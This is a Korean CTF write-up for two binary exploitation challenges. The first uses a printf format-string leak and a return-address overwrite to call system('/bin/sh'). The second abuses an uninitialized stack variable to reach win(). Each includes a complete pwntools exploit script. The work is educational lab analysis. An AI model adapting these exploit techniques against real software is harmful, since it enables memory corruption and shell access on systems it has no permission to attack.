Brick City Office Space

취약점 분석

1. Format String Vulnerability

vuln() 함수에는 char local_26c[592] 버퍼가 선언되어 있고, 사용자 입력을 fgets로 받은 뒤 포맷 문자열 인자 없이 그대로 printf의 첫 번째 인자로 전달한다.

puts(local_14);
printf(local_26c);   // ← 포맷 문자열 취약점
puts(local_1c);

%p, %n 등의 포맷 지시자를 삽입하면 스택 값을 읽거나 임의 주소에 쓰기가 가능하다.

2. 정보 유출 흐름

“redesign?” 재진입 루프 덕분에 페이로드를 두 번 전송할 수 있다. 첫 번째 입력에서 스택과 libc 주소를 릭하고, y로 루프를 유지한 뒤 두 번째 입력에서 오버라이트 페이로드를 전송한다.

do {
    fwrite("BrickCityOfficeSpace> ", ...);
    fgets(local_26c, 0x250, stdin);
    ...
    printf(local_26c);          // 1st: 릭 / 2nd: 오버라이트
    ...
    fgets(local_26c, 0x250, stdin);  // y → 루프 재진입
} while (local_26c[0] == 'y' || local_26c[0] == 'Y');

Exploit 과정

Step 1: Stack Leak

%158$p 오프셋으로 스택 주소를 릭하고, ret_addr = stack_leak - 0xcvuln()의 리턴 주소를 계산한다.

payload = b'AAAA' + b' %163$p %158$p'
r.sendlineafter(b'BrickCityOfficeSpace> ', payload)
r.recvuntil(b'AAAA ')
leak = r.recvline().split(b' ')
 
stack_leak = int(leak[1], 16)
ret_addr   = stack_leak - 0xc

Step 2: Libc Leak

%163$p 오프셋으로 libc 내부 주소를 릭하고, 고정 오프셋 0x21519를 빼 libc base를 계산한다.

libc.address = int(leak[0], 16) - 0x21519

Step 3: ret_addr 계산

스택 릭에서 구한 stack_leak에서 0xc를 빼면 vuln() 함수의 리턴 주소가 위치한 스택 주소가 된다.

Step 4: fmtstr_payload로 쉘 획득

이후 return address와 return address+8을 system, ‘/bin/sh\x00’주소로 덮쓰면 쉘을 획득할 수 있다.

system = libc.sym.system
binsh  = libc.address + 0x1bd0d5
 
overwrite = {
    ret_addr:     p32(system),
    ret_addr + 8: p32(binsh),
}
 
payload = fmtstr_payload(4, overwrite)
r.sendlineafter(b'BrickCityOfficeSpace> ', payload)
r.sendlineafter(b"(y/n)\n", b'n')
 
r.interactive()  # 쉘 획득

Exploit Code

#!/usr/bin/env python3
 
from pwn import *
 
exe  = ELF("BrickCityOfficeSpace_patched")
libc = ELF("libc.so.6")
ld   = ELF("ld-linux.so.2")
context.binary = exe
context.arch   = 'i386'
context.log_level = 'info'
 
def conn():
    if args.REMOTE:
        return remote("localhost", 1337)
    return process([exe.path])
 
def main():
    # Step 1 & 2: Stack / Libc Leak
    payload = b'AAAA' + b' %163$p %158$p'
    r.sendlineafter(b'BrickCityOfficeSpace> ', payload)
    r.recvuntil(b'AAAA ')
    leak = r.recvline().split(b' ')
 
    libc.address = int(leak[0], 16) - 0x21519
    stack_leak   = int(leak[1], 16)
    ret_addr     = stack_leak - 0xc
 
    log.info(f"libc base : {hex(libc.address)}")
    log.info(f"ret_addr  : {hex(ret_addr)}")
 
    r.sendlineafter(b"(y/n)\n", b'y')
 
    # Step 3 & 4: fmtstr overwrite → system("/bin/sh")
    system = libc.sym.system
    binsh  = libc.address + 0x1bd0d5
 
    overwrite = {
        ret_addr:     p32(system),
        ret_addr + 8: p32(binsh),
    }
 
    payload = fmtstr_payload(4, overwrite)
    r.sendlineafter(b'BrickCityOfficeSpace> ', payload)
    r.sendlineafter(b"(y/n)\n", b'n')
 
    r.interactive()
 
if __name__ == "__main__":
    r = conn()
    main()

Brick Workshop

취약점 분석

1. workshop_turn()

workshop_turn() 함수에서 선택지 3을 처리할 때, 전역변수 service_initialized로 두 단계를 구분한다.

  • 첫 번째 선택 3: mold_id, pigment_code를 지역변수에 입력받고 return
  • 두 번째 선택 3: diagnostics_bay(mold_id, pigment_code)를 호출

문제는 두 번째 호출 시점의 mold_id, pigment_code가 초기화되지 않은 지역변수라는 점이다. C언어 표준에서 초기화되지 않은 지역변수의 값은 undefined behavior이며, 실제로는 해당 스택 주소에 이전에 남겨진 값이 그대로 사용된다.

static void workshop_turn(void) {
    int choice;
    unsigned int mold_id;       // 초기화 없음
    unsigned int pigment_code;  // 초기화 없음
 
    // ...
 
    if (!service_initialized) {
        scanf("%u %u", &mold_id, &pigment_code);  // 첫 번째 호출: 스택에 값 씀
        service_initialized = 1;
        return;                                    // 스택 프레임 소멸
    }
 
    diagnostics_bay(mold_id, pigment_code);        // 두 번째 호출: 초기화 안 된 값 사용!
}

2. 스택 재사용

main()workshop_turn()을 무한루프로 반복 호출한다. 이때 동일한 함수를 반복 호출하면 컴파일러는 동일한 스택 레이아웃을 재사용한다. 즉, 첫 번째 호출에서 mold_id, pigment_code가 위치했던 스택 주소는 두 번째 호출에서도 동일한 오프셋에 위치하게 된다.

첫 번째 호출에서 scanf로 쓴 값들은 return 후에도 해당 메모리에 덮어써지지 않고 남아있으며, 두 번째 호출에서 그 값을 그대로 읽어 diagnostics_bay()로 전달하게 된다.

// main()의 루프
while (1) {
    workshop_turn();  // 매번 같은 함수 → 같은 스택 레이아웃
}
 
// 스택 메모리 재사용 구조
// 1st call: [choice][mold_id=0][pigment_code=48879]  ← scanf로 기록
//                    return 후 메모리에 값 잔존
// 2nd call: [choice][mold_id=?][pigment_code=?]      ← 초기화 없음
//                    ↑ 이전 호출의 값 0, 48879가 그대로 남아있음

3. win 조건 역산

static unsigned int clutch_score(unsigned int mold_id, unsigned int pigment_code) {
    return (((mold_id >> 2) & 0x43u) | pigment_code) + (pigment_code << 1);
}
 
// 목표: clutch_score == 0x23ccd (146637)
//
// mold_id = 0으로 설정하면:
//   (0 >> 2) & 0x43 = 0
//   (0 | pigment_code) + pigment_code * 2
//   = pigment_code * 3 = 146637
//   → pigment_code = 48879 (0xBEEF)

Exploit 과정

Step 1: 첫 번째 선택 3 — 스택에 값 심기

선택지 3을 처음 입력하면 calibration 모드로 진입한다. 여기서 mold_id = 0, pigment_code = 48879를 입력한다. 이 값들은 workshop_turn()의 스택 프레임 내 지역변수 위치에 기록된다.

r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'Enter mold id and pigment code.\n', b'0 48879')
[스택]
mold_id      = 0x00000000
pigment_code = 0x0000BEEF (48879)
          ↓ return
값은 메모리에 잔존

Step 2: 두 번째 선택 3 — 잔존 스택값으로 diagnostics_bay 호출

두 번째 workshop_turn() 호출 시 service_initialized == 1이므로 입력 없이 바로 diagnostics_bay(mold_id, pigment_code)를 호출한다. 이때 mold_id, pigment_code는 이전 호출에서 남은 0, 48879를 그대로 읽어오게 된다.

r.sendlineafter(b'> ', b'3')
clutch_score(0, 48879)
= (((0 >> 2) & 0x43) | 48879) + (48879 << 1)
= 48879 + 97758
= 146637 = 0x23ccd ✓ → win() 호출!

Exploit Code

#!/usr/bin/env python3
 
from pwn import *
 
exe = ELF("bad_eraser_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")
context.binary = exe
 
def conn():
    if args.REMOTE:
        r = remote("localhost", 1337)
    else:
        r = process([exe.path])
    return r
 
def main():
    # Step 1: 첫 번째 선택 3 → 스택에 mold_id=0, pigment_code=48879 기록
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b'Enter mold id and pigment code.\n', b'0 48879')
 
    # Step 2: 두 번째 선택 3 → 스택 잔존값으로 diagnostics_bay 호출
    #         clutch_score(0, 48879) == 0x23ccd → win()
    r.sendlineafter(b'> ', b'3')
 
    r.interactive()
 
if __name__ == "__main__":
    r = conn()
    main()